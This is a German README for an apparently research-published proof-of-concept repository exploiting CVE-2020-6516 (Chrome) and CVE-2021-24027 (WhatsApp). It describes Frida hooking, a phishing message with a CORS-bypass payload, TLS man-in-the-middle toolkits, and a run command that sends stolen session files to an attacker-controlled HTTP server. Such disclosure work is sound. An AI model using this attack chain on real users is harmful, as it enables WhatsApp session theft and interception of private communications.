
PoC und Werkzeuge für die Ausnutzung von CVE-2020-6516 (Chrome) und CVE-2021-24027 (WhatsApp)
Dieses Repository enthält PoC-Code und Werkzeuge, die im Rahmen unserer Forschung [01] zur Remoteeinsatzfähigkeit von Man-in-the-Disk (MitD)-Sicherheitslücken in WhatsApp für Android entwickelt wurden. Wie in unserem Blogbeitrag erläutert, wurden der hier enthaltene Code und die zugehörigen Skripte verwendet, um CVE-2020-6516 (Chrome) [02] und CVE-2021-24027 (WhatsApp) [03] auszunutzen.
Die Struktur dieses Repositories ist wie folgt:
Das aktuelle Verzeichnis enthält das Python-Werkzeug, das WhatsApp mittels Frida hookt, die Phishing-Nachricht mit dem CORS-Bypass-Payload sendet und einen HTTP-Server ausführt, an den exfiltrierte Sitzungsdateien vom Opfergerät gesendet werden.
tls12_psk_extract/ enthält das TLS v1.2 MitM-Werkzeugsatz. Siehe README.md in diesem Verzeichnis für weitere Informationen zur Vorbereitung einer MitM-Umgebung.
watls_psk_extract/ enthält das TLS v1.3 (WaTLS) MitM-Werkzeugsatz. Siehe README.md in diesem Verzeichnis für weitere Informationen zur Vorbereitung einer MitM-Umgebung.
openssl-1.1.1f-patches/ enthält OpenSSL 1.1.1f-Patches, die für die Einrichtung von TLS v1.2- und/oder TLS v1.3-MitM-Umgebungen erforderlich sind.
secrets/ enthält ein einfaches Shell-Skript und eine OpenSSL-Konfiguration zum Generieren von Zertifikaten ähnlich denen, die von der WhatsApp TLS v1.3-Infrastruktur verwendet werden. Die generierten Schlüssel und Zertifikate können sowohl für TLS v1.2- als auch v1.3-MitM verwendet werden.
Nicht zuletzt enthält misc/ verschiedene Frida-Skripte, die während unserer Forschung zu Test- und Debugging-Zwecken verwendet wurden und für andere Forscher hilfreich sein könnten.
Um den PoC zu testen, benötigen Sie ein Android-Gerät mit WhatsApp 2.20.206.22 [04]. Obwohl unser Code ursprünglich für 2.19.355 entwickelt wurde und Sie die entsprechenden Ausschnitte unter frida_scripts/ finden, gilt diese Version heutzutage als „abgelaufen“ und wird nicht funktionieren.
Bevor Sie den PoC starten, ist es eine gute Idee, so wenig wie möglich von WhatsApps DEX-Code zu kompilieren. Dies kann proaktiv helfen, Probleme wie das Scheitern von Frida beim Hooken bestimmter Methoden zu vermeiden.
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Laden Sie den Frida-Server herunter und übertragen Sie ihn in /data/local/tmp auf Ihr Android-Gerät, wobei Sie den Standard-Dateinamen beibehalten. Version 12.8.10 ist getestet und bekannt für einwandfreie Funktion. Sie können gerne eine neuere Version herunterladen, wenn Sie dies bevorzugen. Der PoC erkennt automatisch die Frida-Server-Binärdatei und versucht, sie mit den entsprechenden Befehlszeilenargumenten auszuführen.
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
Die Hauptlogik des Exploits ist in main.py implementiert. Die Dateien adb.py und frida_util.py sind abgespeckte Versionen von Werkzeugen, die wir intern für verschiedene Debugging-Aufgaben auf Android-Geräten verwenden.
Um den PoC auszuführen, schließen Sie Ihr Android-Gerät an Ihren Computer an und führen Sie den folgenden Befehl aus:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
Die an main.py übergebenen Befehlszeilenschalter sind die folgenden:
-s - Die Seriennummer des zu verwendenden Android-Geräts, falls der Angreifer mehrere Android-Geräte an seinen Computer angeschlossen hat.-a und -p - Adresse bzw. Port des HTTP-Servers, an den die exfiltrierten Sitzungen gesendet werden.-r - Weist main.py an, den oben genannten HTTP-Server auf dem lokalen Computer zu starten. Wenn Sie -r nicht übergeben, stellen Sie sicher, dass Sie server.py auf dem durch -a und -p angegebenen Host ausführen.Die Positionsargumente sind die folgenden:
[email protected].Ein Praxisbeispiel finden Sie in unserem Blogbeitrag, genauer gesagt in den Demonstrationsvideos.
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027